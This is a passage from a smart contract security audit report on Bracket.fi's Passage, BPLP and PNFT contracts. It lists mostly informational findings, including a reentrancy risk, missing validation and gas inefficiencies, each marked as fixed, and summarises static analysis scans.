v.outBal = v.amt2x.multFactor( v.frac);
v.inBal = v.amt2x.sub(v.outBal);
}
v.inComm = v.inBal.multFactor(p2.inCommRate);
v.outComm = v.outBal.multFactor(p2.outCommRate);
v.commish = v.inComm.add(v.outComm);
SOLVED: The \client team fixed the issue by refactoring the policies logic and looping through all the orders when creating a policy in commit 3329572c.
// Informational
Commission are paid to the owner address in the claim()
function. These commissions are paid with a normal ether transfer to the owner's address. However, if for any reason the multi-signature wallet's contract or the owner of the contract cannot receive the ether the transaction reverts leaving the policies unclaimable which may also affect the winner result, as meanwhile in a worst-case scenario a policy could pass the period specified for the channel and go in channel or out channel after this period until the issue is fixed.
(bool success, ) = payable(owner()).call{value: v.commish}("");
require( success, "COMMPAY");
SOLVED: The \client team fixed the issue by moving to a two-step transfer process where balances are accumulated until called by the user or admin in commit 3329572c.
// Informational
The Passage
contract allows the owner to set a width for the channel through the setPrice()
function.
function setPrice(address asset, uint256 newPrice) public onlyAdminOrOwner {
chanPrice[asset] = newPrice;
emit PassagePrice(asset, newPrice);
}
Moreover, the autoMatch()
function requires the channel price to be greater than 1e15. However, this is not enforced in the setPrice()
function. It is then possible for the owner of the contract to accidentally set the channel price to a value below 1e15, which would cause the autoMatch()
function to always revert.
function autoMatch(address asset ) whenNotPaused() nonReentrant() public {
require( chanPrice[asset] >= 1e15, "CHPRICE");
SOLVED: The \client team fixed the issue by adding an if statement that reverts if price is below 1e15 in commit 3329572c.
// Informational
Commission are paid to the owner address in the claim()
function. However, this function does not have nonReentrant modifier, and its logic allows performing reentrancy as variables that prevent from double-paying commissions are updated after the ether payment. This would normally be a critical issue; however, the risk is severely mitigated by the fact that only the owner address which is controlled by a multi-signature wallet from Bracket.fi can perform the re-entrancy attack.
(bool success, ) = payable(owner()).call{value: v.commish}("");
require( success, "COMMPAY");
Policies1[tPtr].claimPriceUSD = v.assPrice;
Policies2[tPtr].inClaimAmtETH = v.inBal;
Policies2[tPtr].outClaimAmtETH = v.outBal;
Policies2[tPtr].ETHLeft = v.amt2x.sub(v.commish);
// else its the last policy so don't increment
emit PassageClaim( p1.asset, tPtr, v.assPrice, v.ethPrice, v.inBal, v.outBal, v.inComm, v.outComm);
// remove the policy that was claimed if its not the head.
if (tPtr != claimPtr) {
Pol.remove(tPtr);
}
// now check if we can increment the head.
p1 = Policies1[claimPtr];
if (p1.claimPriceUSD != 0) {
(,uint256 next) = Pol.getNextNode(claimPtr);
if (next != 0) {
// unless next is null then don't icrement it.
Pol.remove(claimPtr);
claimPtr = next;
}
// else it must be a claimed head but end of the list
}
SOLVED: The \client team fixed the issue by no longer sending ether with the claim function and instead moving to a two-step withdrawal process in commit 3329572c.
// Informational
The policies are claimed once they go out of channel or expire through the claim()
function. Because a policy should be claimable as soon as it goes out of channel or as soon as the time expires, it is important that users can claim their policies. Otherwise, this may lead to losses for some users if the keeper misses a short period of time when the price went out of channel or misses when the claim expires.
However, right now, the claim function has the onlyAdminOrOwner
modifier, which only allows the admin or owner addresses to claim the policies.
function claim(uint256 _contId) whenNotPaused() onlyAdminOrOwner() public {
require( canClaim(_contId) != 0, "NOCLM1");
SOLVED: The \client team fixed the issue by allowing anyone to claim the policies, since this is considered to not pose any security risk in commit 3329572c.
// Informational
Some of the functions that perform ether transfers do not have the nonReentrant
modifier. Although except for the claim()
and deposit()
functions already reported above, the remaining functions have not been found to be vulnerable to re-entrancy it's important to include the nonReentrant
modifier as minor changes in the function's logic can introduce new re-entrancy vulnerabilities.
SOLVED: The \client team fixed the issue by adding the nonReentrant
modifiers in commit 3329572c.
// Informational
When an order in the Passage
contract, is perfectly matched in the matchIn()
or matchOut()
meaning the order's amount is the exact amount to cover the remaining match amount the inCnt
or outCnt
is not reduced and as such is set to 1 even though there are no orders left in the book.
This has been observed to not pose any security or functionality issue as when a new order is placed the counter resets to the proper value.
However, it would be considered a best practice to reduce it to 0, as counters are supposed to indicate the amount of orders in the book, which in this case should be 0.
Moreover, this breaks one of the invariants defined at the beginning of the audit, which is that for any side with no orders left in the book amount, counter and pointer variables should all be 0.
SOLVED: The \client team fixed the issue by changing the contract's logic to no longer use counters in commit 3329572c.
// Informational
Some function arguments, such as the data argument in the mintNFT
function of the PNFT
contract are not used in the code.
function mintNFT(address funder, uint256 data ) external onlyBrkt
returns (uint256) {
_tokenIds.increment();
uint256 newItemId = _tokenIds.current();
_mint(funder, newItemId);
// IF TEST
string memory url = "";
// IF PROD
// string memory url = "https://arweave.net/_2QEOxUFDRZoJ5ENSOQo2Lw4peTL0qyWYwdQF9-UalY";
// if ( newItemId <= 250) {
// url = "https://arweave.net/88LKw2SkFKhrzfHCgcoW-75DKGOCv5CJrJwIjSUCDdY";
// } else if ( newItemId <= 1000) {
// url = "https://arweave.net/NzP4ks4y9LLN7s6rJ5JDm8y7pwvfZoFWvIbSIm0dRVc";
// } else if ( newItemId <= 5000) {
// url = "https://arweave.net/4GE5qzFCqN_dg20G_VXZd7OwSuV3UPa0DjMiuVOa2UI";
// } else if ( newItemId <= 15000) {
// url = "https://arweave.net/Dn4QX_PTI8mk8OR57wSfUXvoiAdKAPBaL6QsQosNtDY";
// }
// ALL
_setTokenURI(newItemId, url );
return newItemId;
}
This will unnecessarily increase the gas usage when calling the function.
SOLVED: The \client team fixed the issue by using the arguments for production environment in commit 3329572c.
// Informational
Some view test functions have been found in the Passage
contract code. This function returns values used for testing.
However, these functions are not necessary in a production environment, as there are more efficient ways to retrieve the information. Moreover, they will increase the bytecode and cost of deployment of the contract.
SOLVED: The \client team fixed the issue by removing the test functions from the codebase in commit 3329572c.
// Informational
Starting from Solidity v0.8.4, there is a convenient and gas-efficient way to explain to users why an operation failed through the use of custom errors. If the revert string uses strings to provide additional information about failures (e.g. require(msg.sender == owner() || msg.sender == admin, "ADMIN");
), but they are rather expensive, especially when it comes to deploying cost, and it is difficult to use dynamic information in them.
Also note that strings longer than 32 bytes cost additional gas.
SOLVED: The \client team fixed the issue by replacing require strings with custom errors in commit 3329572c.
// Informational
Most of the unsigned integer variables in the codebase are uint256. However, this is overkill for most of the variables. For example, the inPtr
and outPtr
variables are uint256.
However, if they were reduced to uint32, there would need to be 4,294,967,295 orders pending to be matched, which will never be the case, the same applies for the counters and most of the variables.
SOLVED: The \client team fixed the issue by packing the data types in commit 3329572c.
Halborn used automated testing techniques to enhance the coverage of certain areas of the smart contracts in scope. Among the tools used was Slither, a Solidity static analysis framework. After Halborn verified the smart contracts in the repository and was able to compile them correctly into their abis and binary format, Slither was run against the contracts. This tool can statically verify mathematical relationships between Solidity variables to detect invalid or inconsistent usage of the contracts' APIs across the entire code-base.
BPLP.sol
Passage.sol
PNFT.sol
All the issues flagged by Slither were found to be either false positives or issues already reported.
Halborn used automated security scanners to assist with detection of well-known security issues and to identify low-hanging fruits on the targets for this engagement. Among the tools used was MythX, a security analysis service for Ethereum smart contracts. MythX performed a scan on the smart contracts and sent the compiled results to the analyzers in order to locate any vulnerabilities.
All the issues flagged by MythX were found to be either false positives or issues already reported.
Halborn strongly recommends conducting a follow-up assessment of the project either within six months or immediately following any material changes to the codebase, whichever comes first. This approach is crucial for maintaining the project’s integrity and addressing potential vulnerabilities introduced by code modifications.
// Download the full report
* Use Google Chrome for best results
** Check "Background Graphics" in the print settings if needed